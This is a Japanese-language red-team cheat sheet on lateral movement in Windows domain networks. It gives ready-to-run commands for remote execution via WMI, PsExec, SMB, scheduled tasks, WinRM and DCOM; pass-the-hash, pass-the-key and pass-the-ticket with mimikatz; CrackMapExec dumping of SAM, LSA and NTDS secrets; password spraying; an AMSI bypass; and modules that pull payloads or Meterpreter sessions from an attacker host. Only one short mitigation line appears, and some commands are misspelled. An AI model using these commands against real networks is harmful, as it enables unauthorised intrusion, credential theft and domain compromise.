内網#
内網とは内部ローカルエリアネットワーク、一般的に言われる LAN(ローカルエリアネットワーク)を指します。一般的な家庭用 Wi-Fi ネットワークや小規模な企業ネットワークでは、通常、内部のコンピュータが直接ルーターにアクセスし、ルーターが移動通信の光ファイバーを介してインターネットに接続します。
内部ローカルエリアネットワークは、スイッチやファイアウォールを介して複数のネットワーク(ローカル)を構成し、複数のローカル間でアクセス制御を行うことができます。新しい概念(セキュリティドメイン)。
サーバーを専用に保管する場所は DMZ(非武装地帯)と呼ばれ、運用エリア、内網オフィスエリアなどがあります。一般的に言われる内網侵入は、ローカルネットワーク内部での侵入を指し、内網侵入で比較的難しいのはドメイン侵入です。
KB2871997&KB2928120#
マイクロソフトは 2014 年にKB2871997
とKB2928120
の 2 つのパッチをリリースし、ドメイン内ホストのローカルユーザーのネットワークログインを防止しました。これにより、ローカル管理者の権限でwmi、psexec、schtasks、atおよびファイルアクセス共有
を実行できなくなります。ローカルユーザーの PTH 方式はすでに無効になっていますが、デフォルトの Administrator(SID 500)アカウントは依然として PTH を実行でき、NTLM を無効にした場合、psexec はリモート接続を行うことができませんが、mimikatz を使用すれば攻撃に成功します。
UNC パス#
UNC パスはユニバーサルネーミングコンベンション
パス(Universal Naming Convention)を表し、ネットワーク上で共有されているリソースの位置を識別するためのネットワークパス形式です。UNC パスを使用すると、ローカルネットワーク内からリモート共有にアクセスできます。
UNC パスは、2 つのバックスラッシュ\
の後に、リモートコンピュータの名前または IP アドレス、オプションの共有名、オプションのパスとファイル名で構成されます。例えば:
\\ComputerName\ShareName\Path\FileName
ここで、ComputerName はリモートコンピュータの名前または IP アドレス、ShareName は共有名で、共有にアクセスする際に使用する必要があります。Path は共有フォルダ内のパス、FileName は必要なファイルの名前です。
WMI#
WMI(Windows Management Instrumentation)は、Windows システムを管理するための方法と機能を説明することができ、API として Win システムと相互に通信することができます。WMI の浸透テストにおける価値は、ダウンロードやインストールを必要とせず、WMI は Windows システムに内蔵された機能であることです。また、全体の実行プロセスはコンピュータのメモリ内で発生し、痕跡を残しません。
135 ポート#
RPC:リモートプロシージャコールサービス、WMIC(Windows Management Instrumentation)がこのポートを使用します。
wmic の具体的な使用法は以下の通りです:
# 電卓を開く
wmic /node:ip /user:ユーザー名 /password:パスワード PROCESS call create "calc.exe"
# 無回顧
wmic /node:192.168.1.56 /user:administrator /password:aab+1s PROCESS call create "calc.exe"
wmic /node:192.168.1.56 /user:administrator /password:aab+1s process call create "cmd.exe /c ipconfig >C:\1.txt"
接続エラーのメッセージは以下の通りです:
IP が間違っている場合のメッセージは以下の通りです:
パスワードが間違っている場合のメッセージは以下の通りです:
別のコンピュータで接続を試みたところ、正常にアクセスでき、コマンドが成功裏に実行され、wmic 実行後は無回顧で、テキストファイルに書き込む必要があります。
WMIEXEC#
インタラクティブシェルを取得する
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.56 administrator aab+1s
単一のコマンドを実行する
cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.56 administrator aab+1s "cmdkey /list"
上記はパスワードを提供した場合で、パスワードがない場合は wce のハッシュ注入を利用し、その後 wmiexec を実行すればよいです。
wce –s アカウント:ホスト名またはドメイン名:LM:NTLM
cscript //nologo wmiexec.vbs /shell 192.168.0.1
もし取得した LM ハッシュが AAD3 で始まる場合、または No Password のようなものであれば、32 個の 0 で LM ハッシュを置き換えます。
wmiexec.exe#
wmiexec.exe ./administrator:[email protected] "whoami"
ハッシュを渡す
wmiexec.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/[email protected] "ipconfig"
https://github.com/rootclay/WMIHACKER/blob/master/README_zh.md
137、138、139 ポート#
137、138 は UDP ポートで、主に内網でファイルを転送するために使用され、NetBios/SMB サービスの取得は主に 139 ポートを通じて行われます。
445 ポート#
共有フォルダ、共有プリンタ
ipc$#
IPC$
は「命名パイプ」を共有するリソースであり、プロセス間通信を可能にするために開放された命名パイプです。信頼できるユーザー名とパスワードを提供することで、接続双方は安全なチャネルを確立し、そのチャネルを介して暗号化されたデータの交換を行い、リモートコンピュータへのアクセスを実現します。NT/2000 から使用されています。
IPC$
は同時に、2 つの IP 間で 1 つの接続のみを許可します。
NT/2000 はipc$
機能を提供する際に、初回システムインストール時にデフォルト共有を開放しました。すなわち、すべての論理共有(c$
,d$
,e$
……)とシステムディレクトリ winnt または管理者ディレクトリ(admin$
)が共有されます。
net use \\192.168.1.56\c$ "password" /user:"domain\username"
net use \\192.168.1.56\c$ "aab+1s" /user:administrator
別のホストで net use リモート接続
拡張構文#
net use \\192.168.1.56\c$
# ipc$接続を削除
net use \\192.168.1.56\ipc$ /del
# 目的のディスクをローカルにマッピング
net use z: \\192.168.1.56\c$
# マッピングを削除
net use z: /del
# 共有を閉じる
net use ipc$ /del
横向き侵入 SMB(445 ポートを通じて)#
SMB サービスを利用するには、まず IPC を確立する必要があり、ハッシュを渡してリモート実行を行うことができます。デフォルトでは System 権限が戻り、ターゲットのファイアウォールは 445 を開放し、通過を許可する必要があります。
psexec#
net use \\192.168.1.56\c$ "aab+1s" /user:administrator
PsExec.exe \\192.168.1.56 whoami
.\PsExec.exe -u administrator -p 123456 \\dc01 cmd
# インタラクティブシェル(同じ資格情報で直接ログイン可能)
psexec -accepteula \\ip -s cmd.exe
実行原理
ipc$
接続を通じて、psexecsvc.exe
をターゲットに解放します。- サービス管理
SCManager
を介してリモートでpsexecsvc
サービスを作成し、サービスを起動します。 - クライアントがコマンドを実行するために接続し、サーバーが対応するプログラムを起動し、実行結果を返します。
- 実行後、サービスを削除します。これは Windows のログに詳細に記録されます。また、psexec は稀にサービスが正常に削除されないバグが発生するため、一般的には psexec の使用は推奨されず、wmiexec の使用が推奨されます。
C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe
cs - プラグイン#
横向きに必要なホストを選択し、jump-psexec64
認証を選択し、listen が出網可能であれば 1 を選択し、内網横向きの場合は smb beacon2 を使用します。
コマンドラインを直接使用します。
jump [module] [target] [listener]
jump psexec64 192.168.10.173 local
psexec を使用してターゲットマシンに横向きに移動し、資格情報は既知の資格情報を使用して衝突させます。
この時、全体のトポロジーは以下の通りで、親子関係です。これは http beacon を使用して teamserver に直接接続しているためで、smb beacon を使用すればリンク関係になります。
smb beacon に変更します。
ホスト IP の後に 4 つの円が付いています。
smb の矢印は黄色です。
https://www.cnblogs.com/sup3rman/p/12381874.html
SMBEXEC#
明文渡し
smbexec.exe administrator:[email protected]
ハッシュ渡し
ハッシュ渡し:
smbexec -hashes :$HASH$ [email protected]
smbeexec -hashes :$HASH$ domain/[email protected]
ハッシュをダンプ
atexec#
- バッチ処理
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #バッチ検出 IP 対応明文 接続
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #バッチ検出 IP 対応明文 回顧版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami #バッチ検出明文対応 IP 回顧版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami #バッチ検出 HASH 対応 IP 回顧版
PTH#
ドメイン / ワークグループ環境では、メモリ内に現在のマシンと同じパスワードが存在し、認証プロセス中にユーザーからパスワードを収集し、それを暗号化し、正しいパスワードの暗号化ハッシュを将来の認証に使用します。
初回認証後、Windows はハッシュ値をメモリに保存し、ユーザーは何度もパスワードを入力する必要がなくなります。
資格情報のダンプ中に、多くのハッシュ値を抽出したことがわかります。攻撃者としては、パスワードがわからないため、認証中にパスワードの代わりにハッシュを提供します。
Windows はハッシュ値を比較し、攻撃者を歓迎します。簡単に言えば、これが Pass-the-Hash 攻撃です。
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/
mimikatz - PTH#
privilege::debug
sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a
ポップアップウィンドウが表示された後、共有ポートに接続し、ファイルを転送します。
# privilege::debug
# sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a
ファイルをコピー
参考:
内網侵入 -- ハッシュ渡し攻撃
PTK#
パッチkb2871997
が存在する必要があります。
minikatzを使用してaes256_hmacを取得:
sekurlsa::ekeys
渡す接続:sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
PTT#
実行手順:
1、チケットを生成する kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c”
2、チケットをインポートする kerberos::ptt [[email protected]_krbtgt](mailto:[email protected]_krbtgt)[email protected]
3、資格情報を確認する klist
4、net useを利用して dir \192.168.213.163\c$ をマウント
smbclient#
認証ログイン#
- 明文
smbclient -L //192.168.10.173 -U Administrator
- ハッシュ
smbclient.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/[email protected]
空セッション列挙#
smbclient -N -U "" -L \\192.168.1.214
rpcclient#
# rpcclient -U "" -N 10.10.10.161
rpcclient $>enumdomusers
# rpcclient -U corp.pentest.lab/administrator 10.10.10.161
cme#
https://mpgn.gitbook.io/crackmapexec/getting-started/installation/installation-on-windows
コマンドを実行する#
crackmapexec smb 192.168.10.173 -u administrator -H 04cea78fa35a5be51f4aee6375651e8a -x ipconfig
powershell
#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
ASMI をバイパスする
#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' --amsi-bypass /path/payload
cme ネットワークスキャン#
crackmapexec smb 10.0.0.0/24
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --shares
crackmapexec smb 192.168.10.83 -u airs-win7 -p aab+1s --shares
crackmapexec smb 192.168.10.83 -u airs-win7 -H 04cea78fa35a5be51f4aee6375651e8a --shares
空セッション列挙#
cme smb 10.10.10.161 -u '' -p ''
cme smb 10.10.10.161 --pass-pol
cme smb 10.10.10.161 --users
cme smb 10.10.10.161 --groups
cme smb 10.10.10.178 -u 'a' -p '' -shares
cme smb 10.10.10.178 -u -p -shares
# すべての共有を再帰的に列挙
crackmapexec smb -u -p -M spider_plus
資格情報取得#
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --sam
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --lsa
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds vss
msf リバウンドシェル#
リモートターゲット上のアクティブセッションを列挙#
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares
パスワードスプレー#
スペースを使用して複数のユーザー名 / パスワードを指定
#~ cme smb 192.168.1.101 -u user1 user2 user3 -p Summer18
#~ cme smb 192.168.1.101 -u user1 -p password1 password2 password3
テキストを使用して辞書を指定
#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18
#~ cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt
パスワードが見つかった後、ブレークを続ける
#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success
# 一対一ブレーク
#~ cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-success
認証#
- ドメイン
User/Hash
資格情報を取得するには以下のようにします:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'
#~ cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'
#~ cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'
- ローカル認証
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth
#~ cme smb 192.168.1.0/24 -u '' -p '' --local-auth
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth
#~ cme smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth
#~ cme smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth
ブレーク結果は以下の通りです:
SMB 192.168.1.101 445 HOSTNAME [+] HOSTNAME\Username:Password (Pwn3d!)
winRM#
#~ cme winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
# 最新のリリースを使用し、CMEはすべての依存関係を含むバイナリパッケージです
root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip
# cmeを実行する(smb、winrm、mssqlなど)
root@payload$ cme smb -L
root@payload$ cme smb -M name_module -o VAR=DATA
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
root@payload$ cme mimikatz --server http --server-port 80
at、schtasks、#
- at
Windows バージョン<2012
、高バージョンでは schtasks コマンドを使用します。
at [\computername] [[id] [/delete] | /delete [/yes]]
at [\computername] <time> [/interactive] [/every:date[,...] | /next:date[,...]] <command>
smb beacon を生成
smb beacon ファイルをアップロード
タスクスケジュールを追加
shell at \\192.168.10.173 10:51 c:\local-smb.exe
実行済みで、リバウンドできず、smb シェルの問題。
web beacon に変更し、成功裏にリバウンド。
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/at
- schtasks
windows>=2012
schtasks create
実行ファイルに対応するタスクを作成
schtasks /create /sc <scheduletype> /tn <taskname> /tr <taskrun> [/s <computer> [/u [<domain>\]<user> [/p <password>]]] [/ru {[<domain>\]<user> | system}] [/rp <password>] [/mo <modifier>] [/d <day>[,<day>...] | *] [/m <month>[,<month>...]] [/i <idletime>] [/st <starttime>] [/ri <interval>] [{/et <endtime> | /du <duration>} [/k]] [/sd <startdate>] [/ed <enddate>] [/it] [/z] [/f]
schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\user.bat /F
schtasks run
実行ファイルタスクを実行
schtasks /run /s 192.168.213.163 /tn adduser /i
schtasks delete
実行ファイルタスクを削除
schtasks /delect /s 192.168.213.163 /tn adduser /f
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create
sharpwmi#
.\sharpwmi.exe login 192.168.10.1/24 administrator aab+1s cmd whoami
cs エラー
[-] Invoke_3 on EntryPoint failed.
nbtscan#
IP を通じてネットワークをスキャンし、bios 名(コンピュータ名)を取得
bash$ sudo nbtscan -v -s : 192.168.1.0/24
- cs プラグイン
winRM#
WinRM(Windows Remote Management)は、WS 管理プロトコルの Microsoft 実装であり、標準の SOAP プロトコルに基づいて、異なるベンダーのハードウェアとオペレーティングシステムが相互に操作できるようにします。ローカルまたはリモートのサーバーを管理し、Telnet のようなインタラクティブなコマンドラインシェルを取得することができ、システム管理者の複雑な操作を軽減します。
ポート:
HTTP(5985)
HTTPS SOAP(5986)
前提:資格情報と権限
CS には WinRM モジュールがあります。
winrm:x86、WinRM を通じて PowerShell スクリプトを実行
winrm:x64、WinRM を通じて PowerShell スクリプトを実行
winrm64 に入ると、内容は以下の通りです:
前提として認証が必要で、横向きに入ることができます。この認証の取得は、内部の衝突、過去の RDP 資格情報などの方法で取得できます。内部の衝突は、既知のパスワードを使用して再利用パスワードがあるかどうかを試みることです。過去の RDP 資格情報は、管理者が内部ネットワークを通じて 3389 でログインし、パスワードを記録した場合、過去の RDP ログイン記録を取得して資格情報を取得できます。
上記の図のように、192.168.1.214 のパスワード資格情報を持っていますが、192.168.1.55 の資格情報は不明な場合、192.168.1.214 の資格情報を使用して試みることができます。
リスナーとセッションは必要に応じて選択し、セッションは現在の beacon です。
実行を試みたところ、エラーが発生しました。
jump winrm64 192.168.1.55 test
サーバーポートの状況を確認すると、5985 ポートが開いていません。
winrm コマンドを通じて 5985 ポートを開放できます。Windows Server 2008 では、デフォルトで winrm サービスが起動していますが、ポートは開放されていないため、winrm quickconfig -q
またはwinrm qc
を使用してポートを開放する必要があります。
ポートの開放状況を再確認すると、5985 ポートが開放されました。
- ファイアウォールを開放するか、ファイアウォールを無効にするコマンド
C:\Windows\system32>netsh advfirewall firewall set rule group="Windows 远程管理" new enable=yes
- PowerShell を使用してサーバーに接続
信頼できるホストを事前に開放する必要があります。
PS C:\Users\Administrator> Set-Item wsman:\localhost\Client\TrustedHosts -value 192.168.1.* -Force
# このコマンドはクライアントで実行する必要があり、サーバーでは実行しません
または、以下のコマンドを使用します。
winrm set winrm/config/client @{TrustedHosts="*"}
PS C:\Users\Administrator> Enter-PSSession 192.168.1.55 -Credential administrator
資格情報を入力し、接続に成功しました。
または
New-PSSession -ComputerName 192.168.1.55 -Credential (Get-Credential)
Enter-PSSession 1
CS を通じて操作します。
beacon> jump winrm64 192.168.1.55 test
シェルをリバウンドに成功しました。
修正提案:
WinRM を無効にする
winrm delete winrm/config/listener?IPAdress=*+Transport=HTTP
- ⚠️ Windows 8、Windows 10、Windows Server 2012 以降のシステムでは、WinRM サービスがデフォルトで有効になっています。
evil-winrm#
GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting
WinRS#
WinRS(Windows Remote Shell)は、Windows リモートサーバー上でコマンドラインコマンドを実行するためのリモート管理ツールです。WinRS は WinRM(Windows Remote Management)プロトコルを使用してリモートコンピュータにコマンドラインリクエストを送信します。
WinRS は Windows Server 2008 以降のオペレーティングシステムにプリインストールされており、Windows 7 以降のオペレーティングシステムで有効にできます。WinRS を使用するには、リモートサーバーで WinRM を有効にし、ローカルコンピュータでコマンドを実行する際に管理者権限を使用する必要があります。
winrs -r:192.168.1.55 "cmd /c ipconfig"
# ポート再利用下
winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s whoami
winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s cmd
DCOM#
DCOM は分散コンポーネントオブジェクトモデル(Distributed Component Object Model)の略で、Microsoft の分散システムサービスです。これにより、コンピュータ上のアプリケーションがネットワークを介して接続し、通信することができます。DCOM は、開発者がリモートコンピュータ上でコードを実行できるようにし、アプリケーション間の通信をより容易かつ柔軟にします。
PS C:\Users\Administrator> Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
PS C:\Users\Administrator> $a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.1.55"))
PS C:\Users\Administrator> $a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")
PS C:\Users\Administrator> Get-Content \\192.168.1.55\c$\fromdcom.txt
WIN-BVVD8VFVMPR
SCShell#
No445#
GitHub - JDArmy/NO445-lateral-movement: command execute without 445 port
参考#
https://www.redteam101.tech/offensive-security/lateral-movement/shi-yong-scshell-jin-hang-heng-xiang-yi-dong
https://github.com/BlWasp/CME_cheatSheet
https://mpgn.gitbook.io/crackmapexec/
https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/
https://www.hackingarticles.in/lateral-movement-over-pass-the-hash/
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/
http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/
https://www.cnblogs.com/gamewyd/p/6805595.html
https://www.cnblogs.com/zhengna/p/15309006.html
http://k8gege.org/Ladon/WinrmScan.html
https://cloud.tencent.com/developer/article/1937116